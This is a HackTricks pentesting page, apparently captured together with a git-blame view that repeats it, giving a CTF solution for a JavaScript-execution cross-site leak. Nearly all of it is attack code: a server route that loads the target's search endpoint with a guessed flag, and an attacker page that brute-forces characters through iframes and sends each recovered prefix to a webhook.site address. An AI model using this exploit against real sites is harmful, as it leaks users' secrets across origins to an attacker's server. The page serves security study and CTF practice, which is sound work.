hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

# JavaScript Execution XS Leak

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
    let guess = req.query.guess
    let page = `<html>
                <head>
                    <script>
                            function foo() {
                                // If not the flag this will be executed
                                window.parent.foo()
                            }
                        </script>
                    <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
                </head>
                <p>hello2</p>
                </html>`
    res.send(page)
});
```

Main page that generates iframes to the previous `/guessing` page to test each possibility

```html
<html>
<head>
    <script>
            let candidateIsGood = false;
            let candidate = ''
            let flag = 'bi0sctf{'
            let guessIndex = -1

            let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

            // this will get called from our iframe IF the candidate is WRONG
            function foo() {
                candidateIsGood = false
            }

            timerId = setInterval(() => {
                if (candidateIsGood) {
                    flag = candidate
                    guessIndex = -1
                    fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
                }
                
                //Start with true and will be change to false if wrong
                candidateIsGood = true
                guessIndex++
                if (guessIndex >= flagChars.length) {
                    fetch('https://webhook.site/<yours-goes-here>')
                    return
                }
                let guess = flagChars[guessIndex]
                candidate = flag + guess
                let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
                console.log('iframe: ', iframe)
                hack.innerHTML = iframe
            }
            , 500);
        </script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`# JavaScript Execution XS Leak`

			`<details>`

update twitter 2023-04-25 18:35:28 +00:00			`<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
a 2024-02-07 04:05:50 +00:00			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`* Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`

			`</details>`

			```javascript
			`// Code that will try ${guess} as flag (need rest of the server code`
			`app.get('/guessing', function(req, res) {`
			`let guess = req.query.guess`
			let page = `<html>
			`<head>`
			`<script>`
			`function foo() {`
			`// If not the flag this will be executed`
			`window.parent.foo()`
			`}`
			`</script>`
			`<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>`
			`</head>`
			`<p>hello2</p>`
			</html>`
			`res.send(page)`
			`});`
			```

			Main page that generates iframes to the previous `/guessing` page to test each possibility

			```html
			`<html>`
			`<head>`
			`<script>`
			`let candidateIsGood = false;`
			`let candidate = ''`
			`let flag = 'bi0sctf{'`
			`let guessIndex = -1`

			`let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'`

			`// this will get called from our iframe IF the candidate is WRONG`
			`function foo() {`
			`candidateIsGood = false`
			`}`

			`timerId = setInterval(() => {`
			`if (candidateIsGood) {`
			`flag = candidate`
			`guessIndex = -1`
			`fetch('https://webhook.site/<yours-goes-here>?flag='+flag)`
			`}`

			`//Start with true and will be change to false if wrong`
			`candidateIsGood = true`
			`guessIndex++`
			`if (guessIndex >= flagChars.length) {`
			`fetch('https://webhook.site/<yours-goes-here>')`
			`return`
			`}`
			`let guess = flagChars[guessIndex]`
			`candidate = flag + guess`
			let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
			`console.log('iframe: ', iframe)`
			`hack.innerHTML = iframe`
			`}`
			`, 500);`
			`</script>`
			`</head>`
			`<p>hello</p>`
			`<div id="hack">`
			`</div>`
			`</html>`
			```

			`<details>`

update twitter 2023-04-25 18:35:28 +00:00			`<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
a 2024-02-07 04:05:50 +00:00			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`* Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`

			`</details>`